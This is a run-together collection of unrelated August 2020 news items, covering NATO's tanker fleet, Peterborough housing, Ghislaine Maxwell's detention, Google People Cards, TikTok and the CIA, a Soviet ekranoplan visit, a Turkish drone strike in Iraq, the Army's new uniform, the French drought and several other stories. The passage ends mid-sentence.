Procurement Agency (@NSPA_NATO) August 10, 2020 Official press release NSPA delivers second MMF aircraft to the Multinational MRTT Unit The Multinational Multi-Role Tanker Transport (MRTT) fleet will soon enter into service to provide strategic transport, air-to-air refuelling and medical evacuation capabilities to its six participating nations (Belgium, the Czech Republic, Germany, Luxembourg, The Netherlands and Norway), demonstrating a best practice example of multi-national cooperation. The first aircraft was delivered on 30 June 2020 and has been performing training missions for the unit for the last weeks. Now, it will undergo a routine maintenance check (A-check). The third, fourth and fifth aircraft are currently under conversion at the Airbus DS facilities and the rest of the fleet will follow until the end of 2024. The full fleet will consist of eight Multi-role tanker transport aircraft, with an option to extend the contract up to 11 aircraft in the future. The aircraft are owned by NATO and managed by the NATO Support and Procurement Agency (NSPA) with the support of the Organization for Joint Armament Cooperation (OCCAR) on the acquisition phase. Background In 2012, the European Defence Agency (EDA) started to address the long-standing European shortfall in the air-to-air refuelling capacity. Since then, this initiative has grown into a mature programme managed by the NATO Support and Procurement Agency (NSPA), on behalf of the nations. The Netherlands and Luxembourg initially launched the programme in July 2016, with the first as the lead nation of the project. Germany and Norway joined in 2017, Belgium followed in early 2018 and Czech Republic lastly joined the MMF programme in October 2019. The MMF aircraft will be operated by the Multinational Multirole Tanker Transport Unit (MMU) comprising of military personnel from the participating countries. The unit is based in two permanent operating bases, the Main Operating Base in Eindhoven and the Forward Operating Base in Cologne-Wahn (Germany). Among the eight MMF aircraft, five will be based in Eindhoven, and three in Cologne. The near-finished waterfront townhouses on Crescent Street are the first, but developers in Peterborough are working on more projects along the peaceful waterfront lane. Little Lake is the crown jewel of Peterborough, said Sue Connelly-King, one of the owners of the Crescent Towns project, which transformed two residential properties into four townhouses. Work started last year on the redevelopment. The year before Ashburnham Realty announced plans for a luxury condo building up the street, just across from the Art Gallery of Peterborough. That project also includes a proposal to alter the streetscape to remove part of the road and replace it with walking trails. In 2015 the city already approved extending a walking trail along the street and making traffic one-way. Other developers are eyeing the street as well. Connelly-King, who owned the property prior to the redevelopment and is moving into one of the new units, says its an interesting and progressive project for Peterborough. Adding greater density to the waterfront street means more people get to enjoy it, she said, and their development is at the forefront of what could be a development spree in the area. As with many projects, there are opponents. But Connelly-King said neighbours have been supportive, and there will always be some opposed to change. Change is progressive, she said. Every town needs some progression. After the project wraps up, she and her husband, who both work in real estate, are planning on taking a short break, Connelly-King said. Plans for the couple dont involve Crescent Street, she said, but whether it takes five or 10 years, builders are looking at that area. Down the road this is just the beginning of that movement of newness around Little Lake, she said. Paul Bennett, owner of Ashburnham Realty, said while COVID-19 has been disruptive, plans are moving ahead to go to market with units for his condo building next year. Development isnt likely to proceed in 2021, he said. Between Crescent Street, the companys East City project and its Rink Street and Olive Avenue project, Ashburnham Realty has multiple sites on the go to up the citys housing density, adds Bennett. As for to the Crescent Towns project, Bennett said its a great addition to the street and thats all good news for Peterborough. Eccarius and other members of Superintendent Adrian Talleys administrative team Monday unveiled details for what remote learning will look like for students during the first quarter. They will reassess in late October and determine if students can return to the classroom and, if they do, what kind of instruction they will receive. Ghislaine Maxwell is complaining about conditions inside the 'hell-hole' Brooklyn jail where she is being kept ahead of her sex crimes trial. The 58-year-old British socialite was recently taken off suicide watch, but is being subjected to multiple searches each day and is under constant watch of the guards, her lawyers said. The searches and surveillance should be stopped, her lawyers said, while requesting that she be be taken out of solitary confinement and placed in with other prisoners. Her legal team say she is only being subjected to the 'onerous' conditions because friend Jeffrey Epstein died while awaiting trial, in what was ruled a suicide. Ghislaine Maxwell is complaining about being kept in solitary confinement and under constant surveillance at a 'hell-hole' Brooklyn jail (seen in a recent court sketch) Maxwell wants to be moved into general population and allowed more computer time so she can prepare a defense to claims she helped friend Jeffrey Epstein traffick girls for sex (file) They argue that she 'has never been suicidal and was never diagnosed as exhibiting risk factors for suicide,' but is still woken up every few hours during the night and forced to wear special clothing. She has also been forced to undergo body scans, lawyer Chris Everdell wrote in a letter seen by the New York Post, and is observed even while calling her attorneys. 'Ms. Maxwell is being treated worse than other similarly situated pretrial detainees, which significantly impacts her ability to prepare a defense,' he said. His letter asks that Maxwell 'be released to the general population and be granted the privileges given to other pretrial detainees'. Everdell also requested for her to be given more computer time in order to review the reams of documents relating to her case. Further, his team are asking that she be given the names of three anonymous women who are accusing her of grooming and abusing them. 'Maxwell cannot prepare for or receive a fair trial without this information,' her lawyers argued. Maxwell's lawyers say she is being subjected to 'onerous' conditions at Brooklyn's MDC (pictured) because Epstein died behind bars, and not because of any risk she poses Jeffrey Epstein was initially charged with sex trafficking in Florida in 2006, before being hit with a 53-page FBI indictment the following year. In 2008, he was offered a controversial plea deal that saw him sentenced to 18 months in prison for soliciting underage prostitutes. He was then rearrested in July 2019 and charged with sex trafficking, when he was moved to a maximum security jail in Manhattan. On August 10 he was found unconscious in his cell with injuries to his neck and later died in what was officially ruled a suicide. Epstein had been on suicide watch but was taken off just days before his death, on the condition that he be placed with a cellmate and constantly monitored. But the day before his body was found his cellmate was moved out and not replaced, and guards failed to carry out checks on him. Maxwell, who is accused of acting as Epstein's 'madam' by finding him young women to abuse and then 'training' them to comply with his desires, was arrested on July 2 at a mansion she owned in New Hampshire. The socialite - who once mixed with celebrities, presidents and royalty at high-class parties - was moved on July 6 to Brooklyn's Metropolitan Detention Center, once described by a judge as 'like a third-world country' Guards at the jail, which is different to the one where Jeffrey Epstein died last year, have been jailed for raping female prisoners, while the jail also lost power for an entire week during winter last year - leaving inmates locked in freezing, dark cells. In total Maxwell is facing six counts - four relating to child sex trafficking, and two of perjury for lying under oath about the trafficking during a previous lawsuit. If convicted on all charges, she is facing up to 35 years behind bars. Google is now rolling out a new virtual visiting card feature called People Cards for its Google Search. This new feature is rolling out via update and is currently live for the users in India. With the help of this Google Search People Cards feature, influencers, entrepreneurs, freelancers, or anyone else who wants to create an online presence will be benefitted. Notably, Google People Cards is a virtual visiting card which allows lesser-known people to showcase relevant information. Besides, individuals can make this tool to aid their online presence. Advertisement People can add their social media profiles, and other info like name, occupation, work, location, and profile image. This feature will allow individuals to gain online exposure and come in contact with relevant people. This new People Cards update is live for the second largest internet market, India India is the second-largest market in terms of internet consumption. Considering that, Google has decided to push this new feature on Google Search, first for the Indian users on mobile. Notably, this new Google Search People Cards supports English language only. However, we expect more language support to come in the future. Advertisement Creating a virtual visiting card or People Cards in Google Search is simple. User has to login to their Google Account. Then search for their name or input add me to Search and tap the prompt that appears. Then you can add your image, location, work, name, social media profile, websites, etc. and build a virtual visiting card. Users also have the option of adding a phone number or email address if they feel comfortable sharing them. Number of mechanism and layers of protection and controls are in place to protect user info In the blog post, Google also mentions that it has taken all the necessary measurements and has embedded different layers of protection and privacy controls in the People Cards feature. Advertisement So, users should not worry about the information they share. Moreover, the People Cards in Google Search only allows one card per Google account. Google has also incorporated undisclosed mechanisms to protect against abusive or spammy content. Users can also submit feedback if they come across low-quality information or card, which might be created by an impersonator. People Cards can be deleted if the user does not use it. For organizations and hiring personnel looking for a particular individual, this feature can come in handy. This will make it easier for them to find the right person and information. Advertisement Once they type in the individuals name, assuming that he/she has created a People Card, a module will be displayed with all the relevant information about the candidate. CIA Finds No Evidence Chinese Government Has Accessed TikTok Data, Report Says By Rachel Sandler August 10, 2020 " Information Clearing House " - The CIA concluded there is no evidence Chinese intelligence services have ever accessed data from TikTok, the New York Times reported Friday, after the White House took steps to ban the app in the U.S. over national security and privacy concerns. KEY FACTS No Advertising - No Government Grants - This Is Independent Media Get Our Free Newsletter CIA analysts concluded that it is possible for China to siphon off data from TikTok since it is owned by Chinese tech firm ByteDance, but there is no evidence they have done so, according to the New York Times. The Trump administration hasnt accused China of already taking Tik Tok data on U.S. users, but has instead warned that China could potentially track the locations of federal employees, build dossiers of personal information for blackmail and conduct corporate espionage with TikTok data if it wanted to. U.S. lawmakers are particularly concerned about a 2017 law that mandates Chinese companies support, assist and cooperate with the state intelligence work in accordance with the law. Sen. Mark Warner (D-V.A.) said Friday that TikTok is a problem, but isnt as urgent a threat as Huawei, a Chinese company that makes telecom equipment for 5G networks. is a San Francisco-based reporter covering breaking news at Forbes. Follow her on Twitter. - "Source" - The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Post your comment below See also China and Uyghurs What Youre Not Being Told: Whats the real story? Lets go beyond exaggeration, distortion and sensationalism. The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Source: Xinhua| 2020-08-11 09:07:55|Editor: huaxia Video Player Close FUZHOU, Aug. 11 (Xinhua) -- Mekkhala, the sixth typhoon of this year, landed in east China's Fujian Province on Tuesday morning, local meteorological authorities said. With a maximum wind force of 33 meters per second near its center, Mekkhala landed in coastal areas of the province's Zhangpu County at around 7:30 a.m. Tuesday. Meteorological authorities forecast that the typhoon will move northwestward and start to weaken. Enditem A Russian photographer snuck into the worlds only nuclear-capable, ground-effect vehicle and captured rare images of its interior. This is the Lun-class ekranoplan, a formerly top-secret Soviet naval vessel that could skim just above the waves at jet-plane speeds, evading radar and anti-ship mines. The vehicle was equipped with six launchers along its spine that could fire nuclear missiles powerful enough to destroy an aircraft carrier. The vehicle made use of the so-called ground effect -- a cushion of high pressure that forms under the wings of extremely low-flying aircraft, boosting speed and lift. Wave-skimming seabirds can often be seen utilizing the same phenomenon. After the collapse of the U.S.S.R. and subsequent end of the Lun program, the aircraft carrier killer sat idle on this tightly guarded dock on the coast of Russias Daghestan region. This summer, Russian urban explorer Lana Sator, 31, read about the ekranoplan being towed by sea to Derbent, a city in Daghestan, where it is due to be moved into a "patriotic park and put on permanent display. With the ekranoplan lolling in the waves awaiting its final transport to the military theme park, Sator told RFE/RL she booked a last-minute, $150 flight from her base in Moscow to Daghestan. At around 1 a.m. on the morning of August 7, Sator and a friend stuffed cameras into watertight bags, walked along the moonlit coast, then waded through the waves toward the vehicle. Around the wing, Sator says the sea had scooped out a deep hole in the sand but the pair eventually managed to clamber on board and peer inside the vessels open door. Inside the entrance, Sator says light bulbs were on and a generator was humming very loudly. Then they saw a security guard. Somehow the guard was sleeping through the generators din. With the noise covering their footsteps, Sator and her companion -- both dripping with seawater -- were able to sneak past him and into the belly of the Soviet beast. The pair headed away from the guard and into the rear of the vessel, then unbagged their cameras and flashes and got to work. Sator says she was more excited than scared as they crept undetected through the dimly lit compartments. The vessel swayed gently in the waves like a boat. After nearly an hour exploring the rear of the ekranoplan, the pair again tiptoed past the slumbering guard and made their way to the front where Sator was able to photograph the airplane-like control room. 11.08.2020 LISTEN Ive been seeing loads of photos of glowing Bobi Wines house at Magere, and people comparing it to Mr.Museveni who had no house before he stood for presidency in 1980.This post is for the ones who dont have properties in their 20s or 30s , it does not matter, you do .You all have so much to offer in life and life awaits you. I am not trying to placate you with hollow sentiments, but I believe that we all achieve things materially at different stages of our lives. God has a plan for all of us! Everyone knows that the government has let young people down. I am not interested in kicking anyone, but people, like Bobi, should be telling younger people how they made money to build themselves houses and start other businesses, instead of showing off on social media. I want to see these young adults furious about the opportunities they have been denied, so furious they do something to ensure their children are given those opportunities. Or we treat them like infants, tell them that they are already failures because they are not like Bobi or Andrew Mwenda, or anyone with some bit of success before hitting 50 years. The successful businessmen and women should tell their stories in a form of a movie that will be shown in schools and TVs. We all know that kids learn by watching- so the poison you feed them will influence their behaviour. Uganda should have its role modelsthats why the source of ones wealth is important. Kids as young as 20 are now used to the bottle in such a way that they feel it is the way to go, well it isn't. Every family should also have role models to inspire the young. The habit of hanging graduation photos in lounges should be maintained. For instance, I grew up admiring my uncles and aunties for their educational achievements, and that inspired me, at least, to have a degree. Parents should also visit with their children homes of successful people in family, as it can be inspiring. I remember one time I visited Greenland Bank with my late grandfather to see Dr.Sulaiman Kiggundu, and the coolness of the office space was inspirational. With young people still at school, it really doesn't matter if you arent as bright in class as others. If you haven't done as well as you hoped, you can try again if you want to, if you don't then with a bit of support and not negative shit, you can still do really well. A lot of people never did well at school but are successful in real life and better than those who were academic giants. Yes, education should be there, it should be excellent for all pupils, it should be encouraged, it should be tailored to the needs of pupils to enable them to get the best from it, and money needs to be poured into it to help this to happen. However, there are though far more important things in life than exam results- happiness and mental wellbeing are just a couple of those things. Just as a footnote, Museveni of 1980 was as successful, if not more, as Bobi Wine of 2020. He had his own army (FRONASA), he had been a minister of Defence, Minister of Regional Cooperation, Vice chairman Military Commission. Success is not only measured in material possessions and fame. It also depends on the culturein Buganda, a mans early success is measured by possession of land and house, while among the Bahima, its to do with how many herds of cattle youve got. At 23 years old, I had built my own house, but a lot of people still call me unsuccessful, and they are probably right! The attack killed two border guard battalion commanders and the driver of their vehicle, the army said in a statement. The Iraqi army says two senior security officials have been killed in a blatant Turkish drone attack in the countrys north, where Ankara has for weeks been raiding positions of fighters it considers terrorists. The drone targeted a vehicle belonging to the Iraqi border guards in the Bradost area, north of Erbil, the military said in a statement on Tuesday. The strike caused the deaths of the two border guard battalion commanders and the vehicles driver. There was no immediate statement by Turkey. The deaths announced by the military marked the first time members of the regular Iraqi forces have been killed since Turkey launched a cross-border ground and air operation in mid-June against the Kurdistan Workers Party (PKK) in the mountainous terrain of northern Iraq. Iraq has already summoned the Turkish envoy in Baghdad twice in protest at Ankaras operations on its soil. Turkey has defended its operations in northern Iraq, saying neither the central government in Baghdad nor the regional Iraqi Kurdish administration have acted to remove PKK fighters who allegedly use Iraqs territory to stage attacks on Turkey. Ihsan Chalabi, the mayor of Sidakan in the north of Erbil Province, told AFP news agency that the drone had targeted Iraqi border guard commanders while they were in meetings with PKK fighters. Witnesses had reported clashes earlier in the day between PKK and Iraqi forces, and local sources told AFP the drone strike targeted an emergency meeting called to try to calm the tensions. At least five civilians have been killed since the start of the Turkish campaign in June, according to reports. Ankara has announced the death of two of its soldiers, and the PKK and its allies have reported the deaths of 10 fighters and supporters. The PKK is considered a terrorist organisation by Turkey, the European Union and the United States. At least 40,000 people have died in the decades-old conflict between the PKK and Turkey. After a peace process collapsed in 2015, ending a two-year ceasefire, the government said it would not return to talks with the PKK. This is the shocking moment a hit-and-run drive mowed down a man armed with a hammer before driving off after a violent street brawl in broad daylight. A video filmed by a witness on Saturday shows more than a dozen armed men gathering along a neighbourhood street in Kirkholt, Rochdale, Greater Manchester. Greater Manchester Police said officers were called at around 3.45pm to reports of a disturbance. A 37-year-old man, 21-year-old man and 16-year-old boy were arrested on suspicion of violent disorder. A video filmed by a witness on Saturday shows armed men gathering along a neighbourhood street in Kirkholt, Rochdale, Greater Manchester. Police were called at around 3.45pm The man hit by a car was taken to hospital with minor injuries but has since been discharged. Footage shows residents watching in horror as the violence ensued before their eyes, with one woman heard shouting: 'What are you doing people? Calm down!' Several vehicles lined up along the streets can be seen smashed up with shattered windows and broken car parts lying on the ground. Two men, one of them armed, appeared to chase another man down the road. Shortly afterwards, another man, armed with a hammer in his hand, walked towards a white vehicle and peered through the windows. As he walked away, the car then drove straight into the man, knocking him down before fleeing the scene. A Greater Manchester Police helicopter is seen later in the video, hovering above a patch of land near a row of houses. Daniel Meredith, Labour and Co-op councillor for Balderstone and Kirkholt, Rochdale, claimed the incident was part of an 'ongoing dispute between two traveller families in the area'. The man holding a hammer (circled) walked towards a white vehicle and is pictured peering through the windows. Three people were arrested on suspicion of violent disorder He told MailOnline: 'I'm extremely upset and disgusted from what I've seen in this video and the full force of the law needs to be brought down on the people involved. 'Children were there and a woman can be heard screaming on camera. We need to stop and nip this in the bud as soon as possible, as we don't want innocent bystanders getting involved in family disputes. 'I have already spoken to safer Rochdale, which is our communities safety team, the police and local housing association so we can all work together to see how we can actually combat these complex issues in Rochdale.' He added: 'Kirkholt has had a lot more regeneration recently with a new community centre and we have been doing a lot of work in the area, and I don't want to see all that work unravel. As the man armed with a hammer walked away, the car then drove straight him and knocked him down before fleeing the scene. The man was left with minor injuries 'The two families say they are from travelling community and have houses in the area. It is something that has been escalating for the last couple of weeks. 'There have been a couple of isolated incidents but not in broad daylight. Police have also stepped up high visibility patrols in the area to prevent any more flare-ups.' Greater Manchester Police said in a statement: 'Police were called at around 3.45pm on Saturday 8 August 2020 to reports of a disturbance on Kildare Crescent in Rochdale. 'A 37-year-old man was taken to hospital with minor injuries and has since been discharged. 'Two men aged 37 and 21 and a 16-year-old boy were arrested on suspicion of violent disorder. They have since been released on bail under investigation. 'Anyone with any information should call police on 0161 856 8441 quoting incident number 2381 of 08/08/2020. Details can also be passed on to the independent charity Crimestoppers on 0800 555 111.' U.S. Treasury Secretary Steven Mnuchin on Monday said companies from China and other countries that do not comply with accounting standards will be delisted from U.S. stock exchanges as of the end of 2021. Mnuchin and other officials recommended the move to the U.S. Securities and Exchange Commission last week to ensure that Chinese firms are held to the same standards as U.S. companies, prompting China to call for frank dialogue. Mnuchin told a White House briefing the SEC was expected to adopt the recommendations. "As of the end of next year ... they all have to comply with the same exact accounting, or they will be delisted on the exchanges," he said. The recommendation is part of a push by the Trump administration to correct what it calls major imbalances in ties between the world's two largest economies. Tensions between the two countries have flared in past months over China's handling of the coronavirus outbreak, Hong Kong and human rights. U.S. President Donald Trump said China was also failing to meet its commitments to buy more U.S. goods under a Phase 1 trade deal signed in January, although he said purchases should increase next year. "We did a Phase 1 deal and it was a wonderful deal, and all of a sudden it means very little in the overall import of things," Trump told reporters. He said increased purchases of U.S. goods required under the trade deal would "never pay for the loss of life in our country and all over the world." Trump also repeated his calls for the World Trade Organization to stop treating China as a developing country, arguing that doing so gave Beijing unfair advantages over the United States and other countries. China argues the classification is justified since many of its regions are still developing. Also read: Trump administration seeks crackdown on Chinese companies listed in US Students will be able to transfer to San Francisco State University in fall 2021 after taking as few as two classes at community colleges in a new admission policy announced Tuesday by the university which has lost thousands of students this year due in large part to the pandemic. The change means that students need no longer study for two years at a community college, taking an average of 20 classes, before being allowed to switch to San Francisco State. University administrators said they were making the change to increase equity in an academic environment transformed by the pandemic and the movement for racial justice. The change was also spurred by a 9% decline in SFSU enrollment. About 26,000 students are expected on campus this year a drop of about 2,500 from last year. We have the space to admit more students, SFSU President Lynn Mahoney acknowledged. COVID made this the moment to make this change. And the racial justice movement reflected a moral imperative that the university do more to promote opportunity for all, she added. Mahoney called the policy change an opportunity to plan for economic recovery and equity for low-income and underserved communities. The new rules did not represent a watering down of San Francisco State admission standards, she said, but a different moment of access to the university. The only two community college courses now required are a basic writing class and a basic math class. Students must also have a B-minus average from high school and a C average at community college. Taking the SAT is no longer required for admission. A real economic recovery requires an equity-focused recovery, the president said. SFSU sets its own policy for transfer admissions, as do the other 22 campuses in the California State University system. It was not immediately clear how many other CSU campuses had also relaxed their transfer admission policy. San Francisco State said it was particularly focused on attracting transfer students from City College of San Francisco but that the new policy applies to all transferring students. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. We are proud to partner with City College of San Francisco in implementing these new guidelines that will make a significant impact locally, Mahoney said. Our recovery efforts will require a pipeline of skilled and educated workers who already know, love and want to live in San Francisco and the Bay Area. At CCSF, interim Chancellor Rajen Vurdien praised the new policy and said it strengthens our students ability to achieve their educational and career goals. He said CCSF students were overwhelmingly students of color and often the first in their families to go to college. The new SFSU academic year begins Aug. 24 with all but a handful of laboratory and performing arts classes conducted online. The fall 2021 application period begins on Oct. 1. Steve Rubenstein is a San Francisco Chronicle staff writer. Email: srubenstein@sfchronicle.com Twitter: @SteveRubeSF When developing the Army's much-vaunted new service dress uniform, officials took an unprecedented step: They assembled an all-female panel to assess the uniform's fit and feel and provide feedback. As a result, the Army's new Greens uniform will have pants as the default option for women, rather than a skirt, as with previous dress ensembles. While women will still be able to purchase a uniform skirt as an option, the board's indication of preference was significant, said Col. Stephen Thomas, project manager for soldier survivability at PEO Soldier. Read next: Former Air Force Major Sentenced to Two Years in Prison for Tricare Fraud "That whole all-female board decided, 'Hey, so we want trousers as opposed to a skirt as being the primary uniform because we want all of us as soldiers to look the same," Thomas told reporters during a round table event Tuesday. "And I thought that was pretty profound, for that all-female board to come up with that decision." The board, which was assembled "early in the development process," according to Defense Logistics Agency officials, also helped assess fit and comfort, comparing the new Greens to the current blue Army service uniform. The Greens, which are based on the Army's iconic World War II-era Pinks and Greens uniform, won't become mandatory wear for soldiers until October 2027. Officials say they've coordinated a long lead time so that enlisted soldiers can save up their uniform allowance to purchase the items, which are more expensive, as well as more durable. But Army leaders have been working already for more than a year to promote enthusiasm and anticipation for the new uniform, which they say embodies the "pride and heritage" of the service. Then-Army Chief of Staff Gen. Mark Milley had a personal hand in early uniform design, officials said Tuesday. Milley visited U.S. Army Natick Soldier Systems Center in Massachusetts in 2017 to talk with designers about what the uniform should be, said Annette LaFleur, team leader for the design, pattern & prototype, soldier protection and survivability directorate at Combat Capabilities Development Center-Soldier Center within Army Futures Command. "Gen. Milley spoke with me about his vision for the uniform while looking at an original World War [II] uniform example," LaFleur said. "The team then created modern design options for multiple uniform components in a briefing book for Gen. Milley, with updated versions of the uniform." The conversation was brief, LaFleur said, and Milley gave direction in broad strokes. "He spoke of the pride and heritage of that uniform and our Army's history, and wanting to bring it back," she said. "He wasn't very specific in terms of the exact design details. He just specifically spoke about the fit, the aesthetic, the look of it. Uniting everybody together with this uniform." It was Milley's idea, she added, to pay special attention to the fit of the female uniform. Female dress uniforms have long been a bugaboo for the military services, with many iterations generating complaints around poor fit or female-specific components that are impractical or less sharp-looking than their male counterparts. The Marine Corps is in the middle of a multi-year effort to field a unisex dress blues coat with the iconic high Mandarin collar, replacing the traditional female blazer-style coat. Just this month, the Air Force announced that it would allow women to wear pants instead of the standard floor-length skirt with their formal mess dress uniforms, a move officials said was due to "overwhelming feedback" from the force. The desire for more unisex uniforms hasn't been universal, however; the Navy in 2019 said it was slowing down a full transition to common gear for men and women -- a move initiated by then-Navy Secretary Ray Mabus in 2015 -- due to concerns about fit and other issues. The Army is already making the Greens uniform available to soldiers. This month, drill sergeants for basic training at Fort Sill, Oklahoma; Fort Jackson, South Carolina; Fort Benning, Georgia; and Fort Leonard Wood, Missouri, will all get the Greens, officials said. And by this fall, new soldiers in Basic Combat Training and one-station unit training will also receive the Greens as their dress uniform. By December, most Army and Air Force Exchange Service locations across the force are expected to have the uniform items available for sale. "The Army is ready for this uniform," Thomas said. "I get constant positive feedback about the uniform appearance. And the next question I get, after they say how good the uniform looks is, 'When can I get one?'" -- Matthew Cox contributed to this report. -- Hope Hodge Seck can be reached at hope.seck@military.com. Follow her on Twitter at @HopeSeck. Related: Here's the Lineup of Bases Next to Get the Army Greens Uniform Blistering heat and severe drought across France has forced 76 of the country's 96 mainland departements to implement tight water restrictions. The tough situation has prompted farmers to seek government support to help cover losses resulting from damage to crops. "An extraordinary situation requires extraordinary measures," Christiane Lambert, head of the French National Union of Farmers told France Inter radio on Tuesday, as she urged the government to support the agriculture industry to help farmers cope with the extreme weather. "We are waiting for financial support from the government to help farmers withstand the shock, there is need for structural aid," Lambert tweeted. The intense heatwave has wreaked havoc on farmers who make their living from the land. Many have seen their fields turn from lush green to a dry, yellow-brown as the persistent drought has left crops thirsty and parched. Running dry Seventy-six departments are now obliged to implement tight water restrictions to prevent them going completely dry. South Africa's Cape Town experienced similar concerns over water scarcity last year when the city of 8 million people nearly ran dry. Earlier this year, the French government authorised farmers in departments affected by drought to use fallow land for grazing and to mow fields to produce fodder for their animals. The climatic conditions compound an already difficult situation for French farmers who were already reeling from the nationwide lockdown which tore into their sales. One billion euro recovery "We will need a variety of support mechanisms, we will have to alleviate a number of burdens carried by farmers," Lambert said, estimating that a 1billion recovery package would be necessary to help the farm industry adapt, notably by developing drought tolerant crops. "One billion is needed for recovery, but we need emergency aid now in the form of cash handouts." The head of the French farmers union has recommended that the bailout money go towards cutting farmers' property tax as well as allowing agricultural workers to defer their tax payments so that the repayments "weigh less" and do not leave an even bigger hole in their pockets. Story continues Lambert says that farmers have accumulated additional costs due to social distancing measures imposed by the government to limit the spread of the coronavirus. No party mood As if things couldn't get any worse, small producers in France's Occitanie region were left fuming on Tuesday--and not because of the heat--after thousands of ravers destroyed their land during an impromptu rave party. Ten thousand party-goers invaded the private property of Cevennes national park in the town of Lozere on Saturday night, destroying the agricultural site in the process. Many were still gathered at the site three days on. Bruno Commandre, Lozere's deputy mayor and a farmer himself told the daily Le Figaro he was disgusted. "We are already battling a difficult drought with limited resources, we are working flat out, we don't need any extra work," he said. "I am angry, but I'm also angry at the government for allowing this rave to happen." Man, dog pronounced dead after early morning explosion, structure fire near Harbor Springs A man and a dog have both died as the result of an explosion and structure fire early Tuesday morning in West Traverse Township near Harbor Springs. Officials in Qinghai province said at a Sunday press conference that police had seized Ma Shaowei, the chairman of Qinghai Xingqing Industry & Trade Engineering Group Corp. Authorities in northwestern China have detained the head of a mining company after a media report alleged that he oversaw a vast illegal coal-mining operation spanning more than a decade. Officials in Qinghai province said at a Sunday press conference that police had seized Ma Shaowei, the chairman of Qinghai Xingqing Industry & Trade Engineering Group Corp., adding that Communist Party discipline inspectors had also dismissed five government officials in connection with the scandal. The move followed the publication of an investigation in the state-affiliated Economic Information Daily last week that accused Xingqing of making more than 10 billion yuan ($1.44 billion) by extracting more than 26 million tons of coal without a permit during a period lasting 14 years. The alleged offenses took place in the Qaidam Basin, a coal-rich, mountainous region of Qinghai that in recent years has emerged as an important environmental protection area. Qinghais discipline commission secretary, Teng Jiacai, said at the press conference the provincial government had decided to sanction the five officials after an investigation by a specialist task force last week. The officials include Liang Yanguo, a standing committee member of Haixi prefectural government, and Li Yongping, a member of Haixi governments Party leadership group. Both men concurrently held roles in a circular economy pilot zone for Qaidam region. Li Jiexiang, the senior vice governor of Qinghai, said Sunday that both public security and discipline inspection officials would investigate the case. They would thoroughly investigate illegal behavior and strictly handle it in accordance with the law, no matter who is involved or what rank they hold, Li said. Contact reporter Matthew Walsh (matthewwalsh@caixin.com) and editor Joshua Dummer (joshuadummer@caixin.com) Support quality journalism in China. Subscribe to Caixin Global starting at $0.99. Paul Howes became the CEO of Newpark Resources, Inc. (NYSE:NR) in 2006, and we think it's a good time to look at the executive's compensation against the backdrop of overall company performance. This analysis will also evaluate the appropriateness of CEO compensation when taking into account the earnings and shareholder returns of the company. See our latest analysis for Newpark Resources How Does Total Compensation For Paul Howes Compare With Other Companies In The Industry? According to our data, Newpark Resources, Inc. has a market capitalization of US$189m, and paid its CEO total annual compensation worth US$2.9m over the year to December 2019. Notably, that's a decrease of 10% over the year before. While this analysis focuses on total compensation, it's worth acknowledging that the salary portion is lower, valued at US$821k. On examining similar-sized companies in the industry with market capitalizations between US$100m and US$400m, we discovered that the median CEO total compensation of that group was US$3.0m. This suggests that Newpark Resources remunerates its CEO largely in line with the industry average. Furthermore, Paul Howes directly owns US$2.1m worth of shares in the company. Component 2019 2018 Proportion (2019) Salary US$821k US$788k 29% Other US$2.0m US$2.4m 71% Total Compensation US$2.9m US$3.2m 100% On an industry level, roughly 21% of total compensation represents salary and 79% is other remuneration. Newpark Resources is paying a higher share of its remuneration through a salary in comparison to the overall industry. It's important to note that a slant towards non-salary compensation suggests that total pay is tied to the company's performance. Newpark Resources, Inc.'s Growth Over the last three years, Newpark Resources, Inc. has shrunk its earnings per share by 53% per year. Its revenue is down 28% over the previous year. The decline in earnings is a bit concerning. And the fact that revenue is down year on year arguably paints an ugly picture. So given this relatively weak performance, shareholders would probably not want to see high compensation for the CEO. Historical performance can sometimes be a good indicator on what's coming up next but if you want to peer into the company's future you might be interested in this free visualization of analyst forecasts. Story continues Has Newpark Resources, Inc. Been A Good Investment? With a three year total loss of 75% for the shareholders, Newpark Resources, Inc. would certainly have some dissatisfied shareholders. Therefore, it might be upsetting for shareholders if the CEO were paid generously. In Summary... As we touched on above, Newpark Resources, Inc. is currently paying a compensation that's close to the median pay for CEOs of companies belonging to the same industry and with similar market capitalizations. On the other hand, earnings growth and total shareholder return have been negative for the last three years. We'd stop short of saying compensation is inappropriate, but we would understand if shareholders had questions regarding a future raise. CEO compensation is a crucial aspect to keep your eyes on but investors also need to keep their eyes open for other issues related to business performance. We did our research and spotted 1 warning sign for Newpark Resources that investors should look into moving forward. Switching gears from Newpark Resources, if you're hunting for a pristine balance sheet and premium returns, this free list of high return, low debt companies is a great place to look. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Have feedback on this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com. Miranda Kerr knows strength under pressure. The founder of Kora Organics simply stunned while gracing the cover of Shape magazine's September 'Women Run The World' issue. And inside the 37-year-old business woman opened up about her secrets to staying balanced, telling the magazine 'Knowing my strengths is really important.' Cover girl: Miranda Kerr was glowing on the cover of Shape, where opened up about balance, self-care and her secret to being a boss As the woman behind Kora Organics line of skincare products, Love. Joy. Bliss furniture by Miranda Kerr Home and a mother-of-three, the star has her hands full. That means the Australia-native tries to get a head-start on her days. 'I wake up at 5:30 a.m. and have 32 ounces of filtered water with lemon, 32 ounces of celery juice, and a heavy metal detox smoothie . I've been doing kriya yoga meditation for years, along with yoga stretches. Then a shower and self care with Kora products. I'm done before the kids wake up, and I'm ready for my day.' It's her kids Flynn, nine, Hart, two, and Myles, one, who help keep her motivated. 'Being a mother makes me feel strong. You would do anything for your children, no matter what. There's so much strength in that.' And when it's time for the office, she relies on her team. Leading by listening: Talking about her experience in business she said: 'I started out having no idea how to run a business... Knowing my strengths is really important. I try my best to listen to my team, because to be a good leader, you have to be a good listener' 'I started out having no idea how to run a business,' Miranda explained. 'I had a vision of an organic brand, and my passion was in creating these productsthat was the first step. 'Knowing my strengths is really important. I try my best to listen to my team, because to be a good leader, you have to be a good listener.' That also means listening to the community and giving back, supporting charities like Harvest Home, a shelter for pregnant women and new mothers in Los Angeles, and the 